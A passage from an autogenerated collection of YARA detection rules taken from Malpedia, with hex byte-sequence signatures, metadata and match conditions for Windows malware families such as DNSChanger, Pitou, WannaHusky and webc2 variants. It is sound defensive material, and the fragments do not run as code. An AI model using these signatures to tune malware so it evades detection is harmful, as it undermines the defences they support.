		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "45650ffc-30fa-59dd-9298-17c525a596bf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sharpknot_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "f79cb6af16b4be17278bbf2846f42541c5c87bd486108c50193c9587c9073fc1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d8c246c020000 c7842498050000ffffffff e8???????? 8b8c2490050000 }
		$sequence_1 = { 8d542420 8bcf b8abaaaa2a 2bcd 52 f7e9 c1fa02 }
		$sequence_2 = { 8bca 897c2430 c1e91f 03d1 83fa01 0f83b3000000 8bcb }
		$sequence_3 = { e8???????? 8b8c2490050000 5f 5e 5d 33c0 5b }
		$sequence_4 = { 8a8681f84400 2410 3c10 7508 660fb6b680f74400 }
		$sequence_5 = { 7f08 81f90000a000 7616 6800001000 8d542414 6a01 }
		$sequence_6 = { 51 e8???????? 89442448 89442428 8b44243c 895c2434 8954244c }
		$sequence_7 = { 7522 8d44240c 50 e8???????? 8bf0 83c408 85f6 }
		$sequence_8 = { f3a4 b910000000 8d7c2414 f3ab 8d442454 8d4c2410 50 }
		$sequence_9 = { 8b520c 52 e8???????? 83c404 }
	condition:
		7 of them and filesize < 1032192
}

rule MALPEDIA_Win_Snojan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9f201807-eca2-5671-8fb1-4c54ce96e5b1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snojan_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "1d25311cfd419aa863c883b495c4bbb0986a7541ebe6286749992456a12c9723"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d442bfc c744240804000000 c7442404???????? 890424 }
		$sequence_1 = { 81c43c900100 31c0 5b 5e 5f }
		$sequence_2 = { 8b4dc0 6689810000986d 83c30c 81fb???????? 0f8285feffff e9???????? }
		$sequence_3 = { 83f8ff 0f8452010000 c7442404???????? c70424???????? e8???????? 85c0 89c6 }
		$sequence_4 = { 31db eb02 89c3 8d4301 8b14859026986d 85d2 }
		$sequence_5 = { e8???????? 29c4 c744240806000000 c744240401000000 c7042402000000 ff15???????? 83ec0c }
		$sequence_6 = { 85c9 0f84c3feffff e9???????? 0fb7810000986d 894dc0 89c7 }
		$sequence_7 = { 56 53 e8???????? 29c4 c744240806000000 c744240401000000 c7042402000000 }
		$sequence_8 = { 7421 85db 740c ff149d9026986d 83eb01 75f4 }
		$sequence_9 = { b8???????? e8???????? 85c0 74e9 a1???????? 8b988000986d }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Dnschanger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0fa9e2eb-93b3-59e8-87b9-56660e0e1de0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnschanger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnschanger_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "a0798da45c8d16b6b8cbe6087cae140990ddc919bfe764b8983fff724ffd7558"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c418 8d542410 8d442414 52 6806000200 6a00 50 }
		$sequence_1 = { 8d442414 52 6806000200 6a00 50 }
		$sequence_2 = { 6a08 32db ffd5 50 ff15???????? }
		$sequence_3 = { 32c0 eb0b ff15???????? 85c0 }
		$sequence_4 = { 8d442410 8b8b9c010000 50 57 51 e8???????? 83f86f }
		$sequence_5 = { 57 e8???????? 8b2d???????? 6880020000 6a08 }
		$sequence_6 = { 2ad1 f6da 1bd2 f7d2 23c2 }
		$sequence_7 = { 8bf0 8d45f8 50 ff75f8 56 6a03 ff75fc }
		$sequence_8 = { 84d2 7407 8a11 8816 46 }
		$sequence_9 = { 8b442410 85c0 742a 83f80a 7415 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Mrdec_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5cd525b0-3fcd-5de1-aa88-bd5dca592c29"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrdec"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mrdec_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "c22120d79fe39ae9d27a4d21c75a9bbd9a26aee0b664e8fa2f821d0411c6aa0d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c64446fa00 57 56 e8???????? 68???????? 56 e8???????? }
		$sequence_1 = { 6a00 8d45cc 50 68ef000000 68???????? }
		$sequence_2 = { 50 ff75f0 6a00 6a00 6a00 ff75e8 e8???????? }
		$sequence_3 = { 7532 68dc050000 ff75dc 68???????? e8???????? }
		$sequence_4 = { 6a00 6814010000 68???????? ff75d8 e8???????? 8d3550514000 }
		$sequence_5 = { 8bec ff7508 6a40 e8???????? 0bc0 750c 68c8000000 }
		$sequence_6 = { 81c700020000 68???????? 57 e8???????? 68???????? 57 e8???????? }
		$sequence_7 = { 59 51 80c141 884808 ff05???????? 6a00 6a00 }
		$sequence_8 = { 6a02 e8???????? 0bc0 0f8530010000 c745f000400000 ff75f0 }
		$sequence_9 = { 6a00 6a00 e8???????? ff75dc e8???????? }
	condition:
		7 of them and filesize < 44864
}

rule MALPEDIA_Win_Giftedcrook_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fdb2b54b-eafe-53d8-b9a6-9bb6fa7e1261"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.giftedcrook"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.giftedcrook_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "c55ae29646ee6e1fa6528687183d61d605ab3a357e4390ae9837f246340b30d4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 744f 4c8bca 4c8d05da9d0400 ba80000000 488d4c2430 e8???????? 0fb69f550a0000 }
		$sequence_1 = { 488983300d0000 488d15b0720800 c683500d000001 488bcb e8???????? 488b457f 33ff }
		$sequence_2 = { 4c8bc6 488d154a270500 488bcf e8???????? ba01000000 488bcf e8???????? }
		$sequence_3 = { 0fbe4550 83c0d3 83f846 0f8794feffff 4898 0fb68402e00e0300 8b8c82bc0e0300 }
		$sequence_4 = { e8???????? 4c8bf0 4885c0 7512 48396f60 740c 4c8d35bbff0700 }
		$sequence_5 = { 4c8b8d50070000 4c8d05aa0f0500 488d9598060000 e8???????? 8bf8 85c0 750a }
		$sequence_6 = { 4489442440 488d4c2450 89542438 4c8d05d2240500 44895c2430 ba18000000 4489542428 }
		$sequence_7 = { 4c8d05d21a0500 e8???????? 8bf8 85c0 }
		$sequence_8 = { 8bf2 4c8d0d3d500200 488be9 4c8d052b500200 488d152c500200 b901000000 e8???????? }
		$sequence_9 = { 48896c2420 4c8d2d28dc0600 448bcf 4d0f45e8 488d1522dc0600 4d8bc5 498bcc }
	condition:
		7 of them and filesize < 1605632
}

rule MALPEDIA_Win_Jlorat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f0bef584-e973-53d7-a046-17a467ab2308"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jlorat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jlorat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "6c508a88f484b849b2f103f8c11b47dfe4f6c1e48dc255ea3be8790051e1a3db"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? e9???????? 89e0 8d4d0c 8908 e8???????? 899558ffffff }
		$sequence_1 = { eb00 8b4de0 83c134 c745f0ffffffff 89e0 8908 e8???????? }
		$sequence_2 = { f7e2 8985d0feffff 8995d4feffff b804000000 c1e002 8b4d0c ba04000000 }
		$sequence_3 = { eb00 8b8d7cffffff 8b45b0 894de0 0518040000 898574ffffff c745cc01000000 }
		$sequence_4 = { e8???????? 8995c8feffff 8985ccfeffff eb00 8b8dc4feffff 8b85c8feffff 8b95ccfeffff }
		$sequence_5 = { eb5f eb00 b801000000 83f800 7514 8b442438 8b00 }
		$sequence_6 = { e8???????? eb00 8b4da4 83c10c c745f001000000 89e0 8d55cc }
		$sequence_7 = { eb2a 8b4e14 8b5618 89e0 895004 8908 e8???????? }
		$sequence_8 = { f20f1186b8010000 f20f108698010000 f20f1186d8010000 f20f108688010000 f20f108e90010000 f20f118ed0010000 f20f1186c8010000 }
		$sequence_9 = { f20f1145d0 c745f001000000 89e0 8d55d0 895004 8908 e8???????? }
	condition:
		7 of them and filesize < 10952704
}

rule MALPEDIA_Win_Wannahusky_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "36a1577e-36ff-5776-bdb4-d895a2d2a50b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannahusky"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wannahusky_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "5ceb031e7aa4de1c7907749dee4ed5beefedb2e46a515067de310b2cbc83c4b9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c605????????02 c705????????60b04100 c705????????18000000 c705????????04000000 }
		$sequence_1 = { 7408 8bbdf0faffff 8b0f 89442404 }
		$sequence_2 = { ba28020000 8d8d98fbffff e8???????? 8d8500fbffff c744240810000000 }
		$sequence_3 = { 83c008 c744240401000000 890424 ff15???????? 89ca }
		$sequence_4 = { c705????????04000000 c705????????a0464200 c705????????e01c4100 c705????????f0b34100 c705????????00000000 }
		$sequence_5 = { c705????????04000000 66c705????????2b03 c705????????18000000 c705????????04000000 c605????????11 c705????????80bb4100 }
		$sequence_6 = { c785fcfaffff00000000 8b480c e8???????? ba01000000 8d8dfcfaffff 8985fcfaffff e8???????? }
		$sequence_7 = { e8???????? 8b45cc 3b45c0 7218 8b7dc0 890424 }
		$sequence_8 = { 56 53 83ec6c 8955c0 807d0800 ba???????? }
		$sequence_9 = { c705????????08b44100 c705????????00000000 c705????????04000000 c705????????04000000 66c705????????1903 c605????????01 }
	condition:
		7 of them and filesize < 862208
}

rule MALPEDIA_Win_Dairy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8a558663-9225-5d4f-bf21-2e09f40cb6bc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dairy_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "67b1fc4dc17bcf8b0cdf2ebf4577147bbf8e49b67379d73e95b1b4864059fa48"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8bf2 57 81e607000080 7905 4e }
		$sequence_1 = { 8d542410 8d442414 52 68ff030000 50 }
		$sequence_2 = { 8bd1 83c9ff 50 f2ae 8bca }
		$sequence_3 = { 8b44241c 57 8b3e ba2037efc6 8b08 8b4004 897c2418 }
		$sequence_4 = { aa e8???????? 83c40c 83f8ff 0f8514ffffff e9???????? 6a10 }
		$sequence_5 = { 7f3b ba27000000 2bd1 bf???????? 83c9ff }
		$sequence_6 = { f2ae f7d1 2bf9 8d5c241c 8bf7 8be9 8bfb }
		$sequence_7 = { c70701000000 e8???????? 83c404 894704 b801000000 5f 5e }
		$sequence_8 = { f3a4 75cc 8d7c243c 83c9ff }
		$sequence_9 = { 52 68???????? 50 e8???????? 83c410 85c0 7542 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Webc2_Cson_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a6b87b7d-9114-5579-a68c-0816423dfdd5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_cson_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "6b0f4d165f53805d0d2ba6ef3f6dd5489f1ced5c22f12be382e768df751280a7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ff35???????? ff15???????? 33ff e9???????? }
		$sequence_1 = { ff15???????? 395dfc 7463 8d8540fdffff 6800020000 50 }
		$sequence_2 = { e8???????? 68???????? 56 e8???????? 8d85f0feffff }
		$sequence_3 = { 3bc3 8945f8 7513 68???????? ff15???????? 59 33c0 }
		$sequence_4 = { 57 68???????? 6a50 68???????? }
		$sequence_5 = { 3bf3 8975f8 0f8480010000 53 68???????? b8???????? 6a03 }
		$sequence_6 = { 83c420 6a01 58 eb02 33c0 5f 5e }
		$sequence_7 = { 8d85ec6bfeff 50 e8???????? 59 68e8030000 }
		$sequence_8 = { 7512 55 ffd6 57 ffd6 68???????? ff15???????? }
		$sequence_9 = { 83c418 50 ff15???????? e9???????? 8d45c0 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Portstarter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e44ac3aa-4f26-585d-bdee-c9904fdae8c9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.portstarter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.portstarter_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "73b0c7ed74c72cbbc30b57a6a611882f5357bf630e7fd50ae5a5939e6bfc7459"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8b9c24a8010000 4c89442448 7507 4d8b4c2408 }
		$sequence_1 = { 4c8b8c24d8000000 4d8b5918 4d8b6318 4d8b6b08 4d8b1b 4d39e5 0f8645050000 }
		$sequence_2 = { 4c8b9c24b8000000 498d3c03 488b842410010000 4c89d1 4c89c6 90 }
		$sequence_3 = { 4c8b942468010000 4d21fa 4d09d5 49c1ed3f 4f8d1404 4d01ea }
		$sequence_4 = { 4c8d6424f0 4d3b6610 0f8660030000 4881ec90000000 4889ac2488000000 488dac2488000000 }
		$sequence_5 = { 4c8b9424d8000000 4c8ba42400010000 4c896310 4c895318 }
		$sequence_6 = { 4c8b9424d8000000 4d39e2 0f8745010000 0f8734010000 }
		$sequence_7 = { 4c8d6424d0 4d3b6610 0f8610020000 4881ecb0000000 }
		$sequence_8 = { 41b800de1b00 488d15d02f0000 488d4c2420 e8???????? }
		$sequence_9 = { 4863442430 486bc010 488d0de3061c00 4803c8 }
		$sequence_10 = { 4883ec48 8b442458 89442424 48c744242800000000 41b800de1b00 }
		$sequence_11 = { 488d0de3061c00 4803c8 488bc1 48634c2434 }
	condition:
		7 of them and filesize < 14216192
}

rule MALPEDIA_Win_Mofksys_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9191181-2227-59a8-bd61-7f1cd7036f61"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mofksys"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mofksys_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "8771c5394499398335ed69edffdfbaf6278241ddeb464ebd5620f11ca11db156"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 50 ff15???????? 51 d91c24 ff15???????? 8bd0 }
		$sequence_1 = { c1e003 eb0c ff15???????? 8b8dfcfeffff 8b590c 8b0c03 03d8 }
		$sequence_2 = { c78558ffffff00000000 c745fcab000000 8b8d6cffffff 83c128 898d54ffffff c745fcac000000 ba???????? }
		$sequence_3 = { ff15???????? 8bd0 8d4db0 ff15???????? 8d8d50fdffff ff15???????? c745fc07000000 }
		$sequence_4 = { 8d4db4 ff15???????? e9???????? c745fc0a000000 833d????????00 }
		$sequence_5 = { 83c410 6685f6 7413 668b0d???????? 51 ff15???????? e9???????? }
		$sequence_6 = { 50 8b4dc8 51 6a01 ff15???????? 50 8b55a4 }
		$sequence_7 = { c78540ffffff7ca44000 c78538ffffff08000000 ff15???????? 8b4dc0 68???????? 51 ffd7 }
		$sequence_8 = { 50 8b5508 8b02 50 e8???????? ffd7 8b4da4 }
		$sequence_9 = { 52 ff15???????? 8bd0 8d4dcc ff15???????? c745fc27000000 8b4dc8 }
	condition:
		7 of them and filesize < 401408
}

rule MALPEDIA_Win_Oderoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8af6addc-ebdd-5e5f-9273-b365bc983ffd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oderoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oderoor_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "705d5b4a266b0c2f312f72fd5cb1e86ab39ec049fd53173701ccf137ec51b933"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2deb1427d9 8c2413 b166 3b01 95 1e c194a0c0b855158d }
		$sequence_1 = { f8 660fbdd9 6611e5 e8???????? 54 }
		$sequence_2 = { e9???????? 6689442404 c1ce06 9c 9c 8d642440 e9???????? }
		$sequence_3 = { 69d20a000000 e8???????? 38f4 c0f304 c1c31c 660fbafb02 89c3 }
		$sequence_4 = { 686c193202 e8???????? 309c865a407526 b3df e04a 9b 68d69156e5 }
		$sequence_5 = { 2b984e407fc0 c5adcaa19a9e 1882c1c921d4 06 ed }
		$sequence_6 = { df570e 29dc 9b 7f65 197e7e a2???????? }
		$sequence_7 = { 0fbae107 0428 55 895c240c f6d0 660fbae70f 9c }
		$sequence_8 = { 8d642410 e9???????? 66891407 881424 9c 68f4110af5 }
		$sequence_9 = { f1 6c aa 620b e3ed e28f 1a00 }
	condition:
		7 of them and filesize < 13688832
}

rule MALPEDIA_Win_Pitou_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f9c8da4e-505e-547b-8240-9df48ee9f72d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pitou_auto.yar#L1-L112"
		license_url = "N/A"
		logic_hash = "c7a5a733d5fc2416ed190ff88c1bcfd8fd875daba5df81cd77a3f96c787c1800"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bda c1e305 03c3 8bda }
		$sequence_1 = { ac 8bda c1e305 03c3 8bda c1eb02 }
		$sequence_2 = { 33c0 ac 8bda c1e305 03c3 }
		$sequence_3 = { c1e305 03c3 8bda c1eb02 03c3 }
		$sequence_4 = { 8a6201 80f457 8acc 80e103 }
		$sequence_5 = { 8bda c1e305 03c3 8bda c1eb02 }
		$sequence_6 = { 33c0 ac 8bda c1e305 }
		$sequence_7 = { 8acc 80e103 8aec c0ed03 }
		$sequence_8 = { 8a6201 80f457 8acc 80e103 8aec c0ed03 80e507 }
		$sequence_9 = { 80e703 c0eb05 80e303 80ff00 }
	condition:
		7 of them and filesize < 1106944
}

rule MALPEDIA_Win_Webc2_Div_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0487cd24-3efb-59f7-a789-643d02cfd1b0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_div_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "fd0dce640f74e7a720d2663bbcad05a022471937161b3c94d0276bbf1eb69f1b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7474 56 6800000080 56 56 }
		$sequence_1 = { 8078056e 7512 80780663 750c 80780765 7506 }
		$sequence_2 = { 8d7d02 83c9ff c70001000000 8d5008 33c0 f2ae f7d1 }
		$sequence_3 = { c3 55 e8???????? 59 33c0 ebf0 81ec10020000 }
		$sequence_4 = { 7573 80780661 756d 80780766 }
		$sequence_5 = { 7f09 0fbed0 83ea17 89148e 8d6901 bf16000000 8bc5 }
		$sequence_6 = { 6a20 53 ffd6 59 85c0 }
		$sequence_7 = { ff742410 eb14 817c2410808d5b00 771a 8b442414 }
		$sequence_8 = { 83e803 bf???????? 80240100 83c9ff 33c0 f2ae f7d1 }
		$sequence_9 = { 8b048e 8d1c9510114000 8b17 2bc2 99 }
	condition:
		7 of them and filesize < 32768
}

rule MALPEDIA_Win_Wscspl_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7d78cbcb-c636-58e3-9d8d-70bd821838ca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wscspl_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "a06a73900ca2c0d42b899a919a39813227fe95be2c044a4b97a03a121cdc8aa6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8464020000 8b3d???????? f644243810 8a442464 0f8481000000 3c2e }
		$sequence_1 = { 885c342c ffd5 a3???????? a3???????? b8???????? }
		$sequence_2 = { 33d2 33c9 8d5c2418 e8???????? 8b8c2494230000 83c414 5b }
		$sequence_3 = { c705????????01000000 e8???????? 891d???????? eb25 }
		$sequence_4 = { 51 50 ff15???????? 2935???????? 83c40c }
		$sequence_5 = { 5f 8935???????? 5e 5d 8b8c2488230000 }
		$sequence_6 = { 6a01 50 ff15???????? 687c230000 68c10b0000 }
		$sequence_7 = { 8d443410 68???????? 50 e8???????? 668b0d???????? }
		$sequence_8 = { 68ba0b0000 33d2 33c9 8d9c24a4050000 }
		$sequence_9 = { 2bc1 8b4c2448 03f0 8b442444 ba3f3a0000 }
	condition:
		7 of them and filesize < 901120
}

rule MALPEDIA_Win_Nightclub_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "25a4cb0b-5988-50b4-b9d7-c4130dae5827"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightclub"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightclub_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "15f8ebb368b37ab60005cfeccfb61f1f120d9d4f8ce48162386ff7677923e6da"
		score = 75
